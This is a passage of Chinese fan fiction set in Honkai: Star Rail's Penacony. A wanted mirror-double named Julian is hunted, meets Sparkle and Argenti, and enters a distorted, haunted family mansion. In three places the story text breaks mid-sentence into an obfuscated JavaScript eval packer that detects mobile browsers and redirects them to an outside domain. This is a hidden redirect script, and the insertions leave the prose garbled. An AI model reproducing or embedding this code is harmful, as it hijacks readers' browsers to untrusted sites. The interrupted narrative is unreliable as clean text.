他知道,星期日一向是一个很看重“规则”的人。 规则不可违背,规则不可僭越,只有人人都遵守规则,才能迎来更好的生活。 面对那些违背规则的人,虽然他不会明面上表现出不满,但尤利安能看出来,星期日很讨厌那些人。 他……不想被讨厌。 虽然……家主大人签下了对他的逮捕令,想必已经收到了他犯下的罪行的证据,已经对他厌弃完全了吧。 尤利安在心中苦笑。 没想到,又是一记重磅炸弹炸下。 “不,他是拜托我,在流梦礁找到你。” “什么?!”尤利安猛地抬起头,面色在怀疑、焦虑、烦躁中反复转换,“他、他怎么会知道……不应该的,我都不知道,难道是梦主告诉他的……” 他自顾自地推理着,注意力完全从加拉赫身上转移开,虽然还是自言自语,但显然比一开始听不见人话的状态好多了。 “是他亲自来到了流梦礁。” “……” 尤利安整个人都僵住了。 来到流梦礁? 他僵硬地转过头,脖子发出咔擦咔擦的骨骼移位声,面色僵冷,嘴唇紧紧抿成一条线,暗红色的双眸好似从地狱爬出来的恶鬼。 “……你的意思是,他被人杀死了。” 他一字一顿地说道。 是谁?那些一直想要篡位的废物们?还是其他家系联合起来的算计?梦主?又或者是那个连自己的身体都疯没了的梦主? 尤利安脑海中闪过很多人,很多张不同的面孔,然后一一为这些人脸,划上了“X”。 好似触及到了一个临界点,他心中愈是焦躁,面上愈是平静。 “……我姑且相信你的说辞。”他闭上眼,语调平稳。 “不要告诉他,你见过我。” 随后,他转身,重新披上斗篷,不顾那些憎恶他却又不敢报复,只能如阴钩里的老鼠般试图用眼神杀死他的废物,三步并作两步走向门口,将门口瘫倒的酒鬼狠狠踹进酒馆内,重重关上门。 白色的忆泡从门缝中蔓生,飞快将整间酒馆包裹。 “……麻烦你了。” 那张一模一样的脸上有着更丰富的表情,伏在他肩上,扒过来好奇地看他的眼睛。 “你想好自己仅剩的一天要做什么了吗?” “嗯,想好了。” 26.第二十六章 不只是流梦礁,连梦境之内,都贴满了他的通缉令。 尤利安盯着告示板上自己的画像,心绪莫名。 在人流量最高的商业街的黄金地段贴他的画像,不枉他为家族战战兢兢打工那么多年,C位悬赏,真是给他面子啊。 画通缉令的画师不吝用料,将他面容上的每个细节都刻画得栩栩如生,颇具匠心,张贴在告示板上,还让人以为这是鸢尾花家系即将重磅推出的明星,引来路人纷纷围观后,才发觉画像下还用蝇头小字书写他的姓名和罪状,一时之间议论蜂起。 他的名字第一次出现在这么多人嘴里,竟然是在这种情况下。 尤利安顿觉好笑。 现在估计匹诺康尼里里外外全贴满他的画像了,上次有这么个宣传力度的,还是刚上任橡木家系家主的星期日为他的妹妹,也是银河巨星知更鸟所做。 ‘天罗地网,只为捕自己这一只小虫。’他在心中调侃道,‘真有排面。’ 是谁给了他此等殊荣呢? 尤利安猜想着。 按理说,负责维持匹诺康尼秩序,缉拿通缉犯的是猎犬家系,这道通缉令也该是由他们颁布的。 可据他所知,猎犬家系的上一任家主在几日前才退位,新一任家主尚未决出,这么大张旗鼓的悬赏要调动的权力除去家主无人能批准,他的通缉,应该并非猎犬家系内部发布的。 ……难道是橡木家系? 不,不对。 他将这种可能性抛之脑后。 应该是梦主,凌驾于几位家主之上,匹诺康尼的实际掌权者,只有他才有那个权力布下天罗地网,意图将自己逼入死地。 那么问题来了,梦主为何要通缉自己? 尤利安有些摸不着头脑。 他和梦主的合作一直很愉快——至少他是这么认为的。 他需要权力,梦主需要一个如他希望的圣地——他是端坐在王座上的君王,任何违背他意图的人,都会被判处死刑,钉在十字架,在熊熊烈火中化作灰烬。 而凡人之躯,是无力支配一整颗星球的。 尤利安知道梦主暗地中酝酿着巨大的阴谋——借用陨落的秩序星神「太一」之力,将自己变作凌驾在众生头顶,高高在上的神明。 胆大妄为的想法,一个苟活于世,连自己躯体都失去了的幽灵,居然有如此宏愿——尤利安惊叹于他的傲慢。 如果此等宏愿达成,匹诺康尼会变成何等模样呢? 这并不难想,无非是如历史上记载的,「太一」所统领下的模样——一套冗杂繁琐的秩序桎梏着所有人,合理或不合理的需求,都会在这把无情的剪刀下被修剪成规则制定者乐于看到的形状,久而久之,星球上只余一个刚愎自用的活人,和无数唯唯诺诺的傀儡。 这样的世界,无疑是对灵魂的抹杀,但尤利安乐于成为梦主的帮凶。 一点点鲜血和死亡,便能置换出无尽的隐秘和权力,这是很划算的交易。 不仅如此,他还自告奋勇地向梦主展示自己的能力,将星神的伟力留存在镜面中,积少成多,形成人造的神明,成为复活那位秩序星神「太一」的核心——替代同谐的双子。 这不代表他想成为秩序的傀儡,只代表他需要那些权力。 ‘大不了成功后,拖着家主大人跑到别的星球避难好了。’他腹诽道,‘反正匹诺康尼,也不是我们任何一人的故乡。’ 而如今,距离伪神塑成仅有一线之差,他还有利用价值,梦主何至于将他这么一盏尚有余温的油灯当作垃圾抛出呢? ……还将那么多黑锅扣在他头上。 他扫了一眼缀在他画像后的罪行,略显无语。 那里确实有很多人是死在他手下,但更多的,是家族尔虞我诈的斗争中的落败者,把这么多残次品的锅一股脑都甩到他头上,好让家族过往几十年——对,甚至不是十几年——的黑暗一笔勾销,未免有些太贪心了。 要找到那只该死的破乌鸦,他已经被【家族】的意志污染到疯得找不着北了。 他收回视线,转身欲走。 虽然不知道那只乌鸦现在在哪里,但循着同谐的印记,很快就能找到他。 一个头顶绒球的皮皮西女孩挡在他身前。 “大名鼎鼎的通缉犯,竟然还敢明目张胆地现身在人前。” 尤利安一怔,迟疑地打量着女孩。 她怎么知道……明明在进入梦境前,他拜托本体给自己做了伪装。 在其他人眼中,自己现在应该是一个再普通不过的路人甲才对——并非智械、天环族或皮皮西人,只是一个平平无奇的逐梦客。 皮皮西女孩俏皮一笑,享受他惊疑不定的眼神。 “连我的伪装都无法勘破吗,真品跟赝品的区别,可真不止一星半点。” 砰的一声,矮小的皮皮西女孩摇身一变,化身成头顶狐狸面具,神情似笑非笑的双马尾少女。 “分明是倒影,却诞生出了自己的灵魂~”她笑着走近,身高不到尤利安的肩膀,却以仰视的姿态,呈现出居高临下的态势,“你可真是给了我一个惊喜。” 尤利安分辨出她身上属于欢愉的气息。 他沉下脸,低声道:“愚者,你想做什么?” 花火仍是嘻嘻笑道:“对着我就这么戒备,对不期而遇的‘本体’却全然相信,怎么,难道仅仅凭借一张相同的脸,便能让你全然对他敞开心扉吗?” “你……这不关你的事!愚者,你越界了。”好似被戳中心事,又或是被点破了心中隐而不发的那点顾虑,尤利安有些恼怒。 见他羞恼,花火脸上笑意更甚,双手叉腰,眼睛弯成两道月牙。 “最厌烦被规则束缚的家伙的仿制品,竟然这么注重边界,看来匹诺康尼把你教得很好呢,唯命是从的乖狗狗~” “我可是来好心提醒你的,保持一点戒心吧,乖狗狗,来给你套上绳的主人,可不是准备将你带回去好好养着的。” 这点尤利安当然知道。 换位思考,如果他是那个真品,他也不会给不受控的镜像什么好脸色……洛青找到他,想的也不会是将自己的镜像认作家人,依照他先前所言,大抵是要将他当作实验材料,研究他为何能在脱离本体后,还能保持自己的独立思想存活至今。 但是……这是……应该的。 他双手紧握,指甲嵌进肉里,却好似浑然不觉。 镜像的优先级 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14784896|155923||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 必然低于本体,一个劣等的残次品不应该存在……如果是洛青身处他这个位置,也会做出跟他一样的选择。 尤利安讥讽道:“愚者的话语,我可是半点都不敢信。” “哼~真是一只爱护主人的乖狗狗啊~”她哼着不成段的小调,向尤利安走近。 尤利安飞速拉开和她的距离,提防着她的攻击,不想愚者只是与她擦肩而过,黑发一甩,扭头对他笑道: “无妨,你还有很多时间,来验证我话语的真假。” 说罢,化身无数晶莹光点,恍若星屑般,随风而散。 让人疑心她的到来只是一场臆想的幻梦。 但她还给尤利安留下一个惊喜,证明方才并非幻觉。 “人在这里!” 猎犬家系的治安官如嗅到血腥味的鬣狗般蜂拥而至,将尤利安层层围起。 “罪犯尤利安,尽快束手就擒,接受你应受的惩罚。” 在一排排枪口的对准中,尤利安脸色瞬间阴沉下来,沉如墨色。 愚者……! …… 店铺被查抄了。 她们没有违法违规,也没有经营什么不允许的业务,她们只是,乖乖地烘焙、摆盘、售卖,经营着一家不出名但是口碑很好的甜品店,没有宣传没有广告,往日的生意算不得多好,但月末也有些盈余,能供给四个女生的生活所需。 日子本该一直这么过,顺利的,平稳的,无风无雨,她们能靠这家小店的收入,交完现实中的入梦费用后,还能在美梦中享受生活。 但这样不值一提的期望,也在一天之内,被无情打破。 “这是你们四年以来,需要补的税款。” 她接过账单一看,惊声尖叫出来:“这么多!” 消费税、增值税、城市维护建设税、城市土地使用税……连原材料涨价都给她们加了一笔重重的税款! “为什么这么多!我们以前都是按时交了应该交的税款的!”她尖声质问税务人员。 “你们以前缴纳的只是总税收的20%,现在你们需要把欠缺的部分全部补上!” “怎么会、不、以前从没有人告诉过我们……” “不知道就对了!因为这是半个小时前才出台的规定!” “快交钱!交不上就滚蛋!” 于是,她们在自己的店铺内被扫地出门,温馨的奶油色木门上,贴上了大大的封条。 她们六神无主地围在一起,梦境内不需要食物来维持生存,可是没有了收入,她们会很快连入梦的费用都付不起,来到匹诺康尼游玩的游客可以乘坐飞船离开,但是她们这些原住民,没有加入家族,又无法在梦境中取得收入,最终的结果只能是被逐出酒店,在一片荒芜中流浪。 这时,任何人的帮助对她们而言,都是雪中送炭。 “这位美丽的小姐,你是否愿意承认纯美女神伊德莉拉美貌盖世无双?” 她无视那朵递来的玫瑰,焦急地拉住突然窜出的红发男子袖口。 “你、你能帮帮我们吗?” “当然,纯美骑士银枝,乐意为你效劳。” “请你先发誓,承认「纯美女神伊德莉拉美貌盖世无双」。” 27.第二十七章 尤利安靠在墙后,听着脚步声逐渐远去,再次整理自己凌乱的衣襟和头发。 他很久没有这么憋屈地东躲西藏了。 往常,根本不会有人敢把枪口对准他,有也是要缉捕的恶徒死前无谓的挣扎,抬手杀了便是。 可如今换作他成了那个要被缉捕的恶徒,缉拿他的还是如此多的猎犬家系成员,他还真不能一杀了之——动作太大,目标太多,还是在人流量大的街道上,他随手杀人,只会让“匹诺康尼并不安全”的真相插了翅膀般飞去各个地方,在谐乐大典开始前不足一天,引得游客人心惶惶,家族身败名裂。 杀不得,他便只好躲。 于是,高高在上的掌权者,继被押入牢中经受折辱后,又获得了缩在肮脏巷口躲避追捕的全新体验。 短短一天,发生的事情,已经荒诞到令他哭笑不得了。 待到脚步声尽数消失,他才略略放松警惕,开始整理自己接下来的行动。 只有一天,他必须尽可能地为家主大人扫清阻碍,先找到梦主,让它控制那些心怀鬼胎的家伙不要轻举妄动,然后将星穹列车的人带到流梦礁,只有他们才能打开钟表匠的遗产…… “尤利安大人?”一道很轻很柔的声音传来,如同飘渺的花香。 尤利安思绪一滞,望向墙边。 瘦小的身影蜷缩在墙角,怯生生地瞧着他,在看清他的脸后,声音中掺杂着几分惊喜。 “尤利安大人!真的是您!” …… 他跟随这个小姑娘,回到了她们狭小的家。 她指着巷子深处一扇普通的木门,说道。 尤利安提醒道:“你就这么放心地把我领到自己家?我现在可是通缉犯。” “但您是个好人,不是吗?” 尤利安:“?” 他这几天听到的最荒谬的一句话诞生了。 “我是个好人?”他好笑地反问道。 他确信,自己并不认识这个小姑娘,充其量只是买甜品时见过几面,落了个眼熟,她能知道自己的名字,尤利安就很惊奇了。 不过也难怪,只有不认识的人,才会对他有这么错误的认知。 小姑娘点点头:“您对待我们十分温和,并不像其他大人物那般居高临下,而且……小莱姐姐说,是您与苜蓿草家系交涉,才让这些年我们的租金和原材料的价格越来越低。” 尤利安想了想,才明白她说的“交涉”指的是什么。 在梦境底层,工厂源源不断地产出物品,供给上层又或是出口到其它星球,为匹诺康尼换来数不清的金钱和资源。 但是这么多的利益,大部分都流进了上层的口袋中,让他们本就滋润的生活更加多姿多彩,哪怕是边缘星系的一朵只在夜晚特定时间段盛开两小时的花,都能保持盛开的模样,在两小时之内被呈上千万光年之外,匹诺康尼富太太的花房内,代价仅仅是两千万信用点——等价两百万苜蓿币。 那些被掩去姓名的人亲手纺出的金线,宁愿变作琪花瑶草、珍禽异兽,供上层观赏取乐,也不可能回流进他们的口袋。 富裕的更加富裕,贫穷的照旧贫穷,这是家族中大部分人所希望的。 尤利安对此并无意见,甚至可以说,他是造成这一奇观的帮凶之一——但那可不是“乐园”应该有的样子。 前来向当时还担任铎音的星期日祷告的人,向他低声埋怨过匹诺康尼不平等的真相,诉说他们的税金是如此繁重,生活压力是如此之大,乃至于他们产生了想要离开匹诺康尼这等大逆不道的想法。 尤利安看够了星期日忧郁的神情,在一个平淡的午后,闯入苜蓿草家系家主的公馆内,与老奥帝达成协议。 他们要让出部分利益,让梦境中的生活成本越来越低,作为交换,他也可以在自己的权力范围内,为他们大开方便之门。 虽然动机并不是出于为在梦境中生活的普通人考虑,但从结果而论,这确实是他做的一件好事。 想起这一点,他便也能接受自己身上“好人”的标签,心安理得地推开面前的房门。 他的伪装被愚者破坏,比起自杀再去找本体再盖一层幻想,在其他人家中休整,再做伪装,或许是更快的方法。 屋内还有几个女生,见门被推开,纷纷望过来。 出乎他意料的是,狭窄的室内除了几位女生,竟然还坐着一位身着骑士服的红发男人,容貌俊美端庄,屈膝坐在一条小木凳上,也让人幻视他手持长剑,伫立在庄严的殿堂中。 尤利安认得这张脸,但他装作不知,询问道:“这位是?” “纯美骑士团,银枝,您好。”红发男子朝他颔首示意,表情严肃。 “您好。”尤利安回道。 如此,便算是结识了,重点又移到几位瘦弱的女孩子之间。 “小莱姐姐,这是……?”她用眼神指了指银枝,表明自己的不解。 女生中面容最成熟的一个闷声回应道:“这位好心的先生,是来帮助我们离开匹诺康尼的。” “离开匹诺康尼?”她拔高声调,不可置信地说。 小莱绞着手,牙齿扣在下唇上,轻声道:“我们在匹诺康尼活不下去的。” “为什么?”这句话是尤利安问的,“匹诺康尼不是很好吗?” 他是打心底里认为匹诺康尼很好。 在梦境中,他们可以肆意地享受,商品日益廉价,只需要赚够维持入梦的费用,即使是黄金的时刻最底层的打工人,也能享受到比外面好得多的生活。 为了将匹诺康尼打造成“人人”得以欢笑的乐园,他也做了很多。 橡木家系家主期望将匹诺康尼打造成梦寐以求的乐园,却想不到除却游玩的旅客,乐园中的员工如何生活——没关系,他会替家主大人考虑,如此微小的问题,犯不着星期日亲自烦恼。 “匹诺康尼是很好……但是,在匹诺康尼,家族想做什么就能做什么。”小莱看着尤利安困惑的眼睛,勇敢说道,“他们想提高税金就提高税金,想查 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14788729|155923||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 封谁的店铺就查封谁的店铺,我、我想明白了,或许我们这种普通的打工人,在家族眼中根本不能算作人。” 她的声音越来越低,说出了自己想说很久,却一直没有说的话。 “况且……匹诺康尼再怎么美好,也只是一场梦啊。” “所以你们就要离开吗?” “没错,我们想前往其它星球,真实地生活。” “不行,你们不能走。”下意识地,尤利安否决了她们的想法。 他做了那么多,都是为了把匹诺康尼变成星期日所希望看到的乐园,这座乐园,应该让所有人欢笑,让所有人流连忘返,梦境如此美好,怎么可能会有人主动想要离开呢? 承认匹诺康尼并非乐园,就好似在否决他前面所做的一切努力,告诉他,他费尽心思为星期日所建成的并非一座乐园,而是一道装饰着金银珠宝的囚笼。 对,她们不可能主动想要离开,一定是有谁逼迫她们。 “你方才所说的提高税金……?” “税务人员突然要我们补交四倍的税金,我们交不上,就查抄了我们的甜品店……” 一听就是苜蓿草家系搞的鬼。 负责经济的家系,执掌市场管理、拍卖交易、货币发行等工作,像是吸血的牛虻,深深扎根在货币流通的每一个环节上,贪婪地大口大口饱饮金色的血液。 是觉得,反正他已经被通缉了,最后一丝压榨的价值也被剥削得丁点不剩,大可以肆无忌惮地违背承诺,攫取金钱了吗? 尤利安有些气恼,但转念一想,思及了更重要的事。 “……你们现在走,估计也是走不掉的。”他恢复冷静,假意为她们好,实际上是借着貌似理性的分析开始劝说,“不会只有你们一家店需要补交税金,被查抄的店绝对不少,而那些在匹诺康尼待不下去的店主和店员们,会纷纷挤在离开匹诺康尼的渡口。” “家族不会允许人轻而易举地离开,渡口估计已经乱成一锅粥了。” 他向这些没有经受过多少教育的女孩子,耐心分析她们无法离开的原因。 听了他的解释,女孩子们也开始自乱阵脚。 “那、那怎么办。”小莱嗫嚅着,半天拿不定主意,“我们没了收入,没办法在匹诺康尼活下去……” 尤利安蹲下身,平视着她,以一种极富诱导性的温和口吻劝说道:“苜蓿草家系短时间内拔高税金也并不符合规定,只要让我见到苜蓿草家系奥帝先生,或许能劝说他收回法令,将店铺归还给你们。” 女孩子们面面相觑。 “但是,尤利安大人,我们也无法帮助您见到奥帝大人……” “没关系,你们只需照顾好自己就行。”尤利安站起身,友善地望向红发骑士。 “银枝先生,可以拜托你帮我深入苜蓿草家系内部吗?大名鼎鼎的纯美骑士求见,哪怕是一个家系的家主,也不会贸然拒绝。” “从根本上解决问题,才是对她们更好的帮助,你说对吗?” 28.第二十八章 苜蓿草家系的公馆就和他们的家徽一样,严谨、优雅、富丽堂皇,巴洛克式建筑外装饰着大量浮雕,大门上方是精美的玫瑰花窗,灯光从内部透出,打在彩窗上,在地上投射出一个优美的女性身影。 临近公馆,尤利安开始思索这其中的不对劲。 苜蓿草家系,有必要这么急切吗? 他才被下狱不久,如果说苜蓿草家系早看不惯他,法令拟定许久,等着他一消失就飞快颁布,其实勉强也说得过去。 但是从最敏感的税款下手,还是大刀阔斧提高那么多,逼得大部分人都活不下去,妄求离开匹诺康尼另谋出路……虽然他与老奥帝交往不多,但能成为苜蓿草家系家主,他不应该是一个急功近利心浮气躁的傻子。 不像是想赚钱,更像是在……赶人? 一点怪异浮现在尤利安心中,绵绵密密,像针刺,他希望那只是自己的错觉。 “银枝先生,”他开口道,“我不便现出身份出现在人前,家族也不会允许一个藏头护尾的人拜谒五大家系之一的家主。” 伪装被愚者解除,尤利安现在只能靠女孩子家中借来的一件带兜帽的衣服伪装,宽大的帽檐和口罩遮住了他的面容,打扮得十分拙劣,在外面还能隐藏在匹诺康尼一众奇装异服的游客中,假借时尚遮掩,可要是到了公馆中,保准被人一秒揭穿。 银枝点点头:“我知晓您的难处,尤利安先生,请放心,即便孤身一人,我也能说服苜蓿草家系家主收回成命,以纯美之名!” ……不,他也不是这样意思。 尤利安无语了一瞬间,眼神瞥过银枝手中比他这个人还长的长枪,大抵明白他准备如何去“说服”。 “你误会了,银枝先生,我无法让宾客独身去解决问题——这并非是对你能力的不信任,而是这到底算作家族内部的问题,因为我的疏忽,需要麻烦你来协助我已经让我备受煎熬,若是我再从其中抽身而出,留你独自解决问题,便是让我无颜再去面对家主大人。于情于理,我都必须与你一同前去。” 他斟酌着说辞,以让自己显得从容不迫。 “我曾听闻纯美骑士团的美名,知晓你们贯彻纯美之名,皆是正直勇敢、诚信慷慨的绅士,是可以信赖的好人,因此,我希望你能保存这面‘镜子’。” 一面冰镜被递到银枝手中,表面光滑没有瑕疵,折射出丝丝冷光,纵使隔着手套,沁人心脾的凉意也在一瞬传遍全身。 尤利安略带歉意地解释道:“我将藏身在这面镜子中,会见苜蓿草家系家主奥帝先生时,我便会从镜子中脱身而出,与奥帝先生沟通,再次之前,还得麻烦你多担待了。” 银枝颔首,欣然应允,身为纯美骑士,在银河中贯彻纯美之名是他的信念。 见此,尤利安松了口气,手指触碰镜面,身体扭曲虚化,变作一束白色流光,融入镜面中。 银枝将镜面反扣,贴心收入怀中,转身行进几步,叩响苜蓿草家系公馆大门。 一位智械女士拉开门,探出身来。 “这位女士,您好,纯美骑士团银枝,敬求谒见苜蓿草家系家主。”红发骑士身体微微前倾,左手按在胸前,以示敬意。 智械女士顿顿看了他几秒,无机质的机械音听不出丝毫情感:“请进。” 银枝随她踏入公馆内部。 公馆内部一股冷气。 尤利安待在镜中,周围一片漆黑,四四方方的,仿佛一个盖上盖的礼物盒,镜子里就是有这点不好,边界给划定得明明白白,除了划定出的范围,哪里都去不了。 没办法,这只是他随手做的一面镜子,他还得感谢银枝体贴地没有把镜面朝外,不然他估计得跟一堆奇形怪状的倒影面面相觑,两厢尴尬。 他听着镜外的声音。 “请注意,在见到奥帝大人前,一定要遵守建筑内部的规则。” 规则? 尤利安蹙眉,什么规则?这番谈话,是一个侍者该有的礼节吗? “流动的雕塑既是景观,也是建筑内独有的生命体,请勿随意触碰、涂鸦、恶意破坏。” 两道脚步声,一道轻盈富有节奏,另一道沉重而死板。 “如果遇到地面剧烈晃动的情况,请勿惊慌,该现象为建筑周期性活动所导致,不会持续太久。” 越听越不对劲。 “匹诺康尼会不定期地震吗?” 侍者并未理会银枝的提问,自顾自地介绍着注意事项。 “吧台上有多种饮品可供饮用,每一种都以苏乐达为基底。” 一阵模糊的电流声,断断续续的,传进镜子里。 不对劲,很不对劲。 这一段通向会客室的路,有这么长吗? 冷漠的机械音停下,只留下规律的脚步声。 尤利安敲了敲镜面,示意银枝停下。 两道脚步声一同消失。 银枝将镜子取出,用眼神询问尤利安想要做什么。 再美好的东西,放大来看也是恐怖的,美丽澄澈的碧色眼眸在镜面中被放大数倍,变得狰狞恐怖,好似深渊,诱人跳入。 尤利安忍耐着面对巨大眼睛的不适感,打着手势,示意银枝将镜面对准前方。 镜面被一点点转向,移向前方。 暗色调的长廊、精美的雕塑,若隐若现的壁画在尤利安眼前一一闪过,随后,定格。 侍者并未转身,只露出一段光滑的铜黄色后颈。 她对宾客的突然停滞并无异议,只沉默地等待脚步声再次响起。 ……是坏掉了吗?不对,智械是无机生命,应该不存在像机器那样程序加载错误的情况。 尤利安琢磨着,推敲着这份诡异感的来源。 突然,他听到一阵卡顿的嘀嗒声,像是一根被卡住的指针在倔强地走动。 走廊内并没有时钟。 他骤然,脊背生出一股恶寒。 那阵嘀嗒声,似乎是从他背后传来的,而且,越来越近。 尤利安猛地转身,在他背后,破损的钟表小子伸出两条又细又长的手,白手套勾住他的发丝,传来一阵刺痛感。 ……< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14799490|155923||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 镜面开裂,镜中的世界替换掉了现实,又或者,从一开始,镜中的才是现实。 尤利安从镜中出来,和银枝一起,面色凝重地注视着他们前方坏掉还在不断冒烟的钟表小子。 智械侍者变成钟表小子,合适到让人笑不出来。 “尤利安先生,这是家族款待客人的节目吗?” 尤利安甚至听不出外表俊美高洁的纯美骑士是真心实意地在疑惑,还是在阴阳怪气。 他当了这么久的家族成员,在几个家系中来回奔波,但也还是不明白,这一出是在做什么。 “不,家族从不会以鬼屋招待宾客……” 是的,鬼屋。 本该正常的景物像是被人用画笔挑弄变形,颜色混乱,线条扭曲得像是一堆随意掉在地上的丝线。 摆放在走廊两侧的雕塑变了形状,从一只只圆头圆脑的鸟雀变成一堆扭曲的,不可名状的铜像,原本的脖子的地方被抻得极长,搭在屋顶,像两道拱门,把本就不宽敞的走廊逼得更加狭窄。 电流声断断续续的,像是一盘快要坏掉的磁带被强行启动。 似乎,只有前方坏掉的钟表小子还值得探究。 “非常抱歉银枝先生,分明是麻烦你帮忙,却还以为将你拖入险境。” 尤利安上前,谨慎地打量着那个诡异钟表。 戴着船长帽,下肢倾斜,细长的手无力地耷拉在两侧,指针挣扎着在走到,可惜除了让冒出的烟更有规律外,并无他用。 只是一个普通的钟表小子破损版,像舞台剧用旧用坏了的道具。 冰棱在手中凝结,尤利安拿着它,小心地戳了戳这坏掉的钟表。 损坏的表盘上陡然出现数道裂痕,像是无数双细长的眼睛,那道最大的裂口两边一同向上弯,宛如对他绽开了一个笑脸。 尤利安心中一惊,冰霜蔓延,将诡异钟表整个包裹起来。 指针在冰内剧烈颤抖着,咔嚓声越来越大,最后竟硬生生地突破了扭曲的表盘和坚冰的阻碍,移动了一格。 “嘀——嗒~” 诡异钟表应声而炸。 地板发出隆隆的响动。 分明没有火焰,两边的雕塑却像被烤化了一样,铜水从伸长的脖颈处,像汗滴般滴落,砸在地面上,烙出一个又一个坑。 冰层从两边拱起,结出一个厚厚的防护罩,阻挡滴下来的铜水。 红发骑士执枪挡在他身前,严肃提醒道:“小心。” 铜水滴落地愈发快速,急如骤雨,接二连三的高温险些将冰层烫出一个大洞,不得已,尤利安加厚了坚冰,层层堆叠,把铜水都包裹在其中,遮蔽了视线。 倏然间,两侧传来巨大的响动,伴随着一阵灰尘四溅,两侧扭曲铜像猛然向中间倒去,重重地砸在冰层上,像石子砸开鸡蛋壳般,将坚冰砸开。 尤利安急忙补上冰层,银枝执枪将几个漏网之鱼挑开。 铜像砸在地板上,砸出无数灰尘和碎屑,尤利安不得已闭上眼,再睁开,一道红色的大门出现在他们面前。 29.第二十九章 他见过这扇门,但不是在苜蓿草家系公馆内。 红色大门,上面的花纹不属于任何家系……不,属于的,属于已经消失的灯蛾家系。 匹诺康尼曾有七大家系,树、草、花、鸟、兽、果、虫,后来,果实在家系之间的斗争中被草木分食,而蝴蝶不堪斗争,想要飞离匹诺康尼,却在振翅的那一刹那不知遇到了什么,无人生还。 最终,只有他们铸造的窗棂上的花纹,铭刻着,这里曾有一群蝴蝶折翼。 但是这扇门,应该出现在白日梦酒店深处,关押一群不服管教的前家族成员现惊梦剧团。 总之,绝无可能出现在苜蓿草家系公馆内。 尤利安盯着那扇门,有些犹豫。 情况越来越复杂了,在短短一天之内,他生活了十几年的匹诺康尼,就陌生到让他都快不认识了。 这也是幻境吗? 不,不对,他并没有感受到与自己同源的力量……这不是本体给他的又一场恶作剧。 两边一片狼藉,身后更是没有退路可言,只有红色的大门发着微光,邀请人进去一探究竟。 如果旁边没有人,尤利安的表情一定很精彩,但旁边还站着一位只能算是“认识”的纯美骑士,他被接二连三打击地摇摇欲坠的虚荣心又晃悠悠地支棱起来了,面无表情强作镇定,仿佛一切尚在掌握,不必惊慌。 “看来,这是公馆的主人在邀请我们了。”他语气平稳,略带笑意,好似游刃有余,“银枝先生,我们走吧。” 也没有别的路了。 两个命途行者,虽说比不得令使级别的强者,但在一个小小的公馆内,自保还是没问题的,遇到危险大不了把整个公馆都炸了——然后罪加一等,化身银河通缉犯。 相比他的表面镇定,银枝倒是坦然多了,大概是在银河间旅行多年,不论遇到多么光怪陆离的事情,都能稳住情绪。 门后静悄悄的,没有动静,尤利安刚走近它,门就自己开了,好似一只蹲守囚鸟的巨蟒,猎物尚未坠下,就已迫不及待张开血淋淋的巨口。 出乎意料,门后并没有什么怪物,也没有什么埋伏,有的只是一个摆满调酒材料的吧台,和一台黑色的留声机。 暖色灯光十分温馨,照得玻璃瓶中的酒液晶莹剔透,光彩夺目。 见他们迟迟未动,胡桃色地板主动蔓延到他们脚下,大门眨眼间跑到他们身后,砰得一声关上。 演都不演了。 尤利安回头,大门已消失不见,四周也是光秃秃的墙壁,没有出路。 折腾这么一番功夫,似乎只是为了把他们引到吧台这里。 它有什么特别的吗? 尤利安看向吧台,跟外面酒店大堂的一模一样,除了没有调酒师,瓶瓶罐罐被堆在展架上,玻璃瓶在灯光下闪闪发亮。 等等。 他眯起眼睛。 那些剔透的酒液中,好像有些奇怪的花纹……再睁眼又不见了,是他的错觉吗? “银枝先生,”他犹豫地开口,“你……” 留声机开始播放音乐,稚嫩的童声打断了他未说的话。 “捉住一群坏孩子,关进冰冷小笼子……” 尖锐的童声直刺耳膜,像是哪个熊孩子在扯着嗓子喊,背景音乐里仔细听,还能听到一段嘻嘻怪笑声,杂乱的拍手声压在每一个音节后,听得人生理不适。 “自家人吃自家人,一家只剩六口人……” 童谣唱到这里,尤利安明白它在唱什么了——唱的是匹诺康尼的历史。 被同谐庇佑的家族,现如今手拉手相亲相爱,也改变不了曾经互相蚕食的历史。 他紧张地看了眼银枝,发现他的表情只是困惑,尚未解读出这一段童谣的隐喻,肃着脸,慌忙上前,想要止住这一段童谣。 这么不堪的历史,怎么能被外人得知。 从门口到留声机看上去只有几步路,尤利安却越走越长,他一时急得想跑起来,可不管他走多远,留声机还是在他身前那个位置,悠哉悠哉放着童谣。 “蝴蝶独自飞出家,撞上一群大螽斯。” 发现无法接近留声机,尤利安停下脚步,左顾右盼。 他在找镜面,通过倒影,他应该能将另一个自己扯出来……不对,他好像不能,他身为镜像从镜子里跑出来已经是另类,镜中无法再存在一个他……他在想什么! 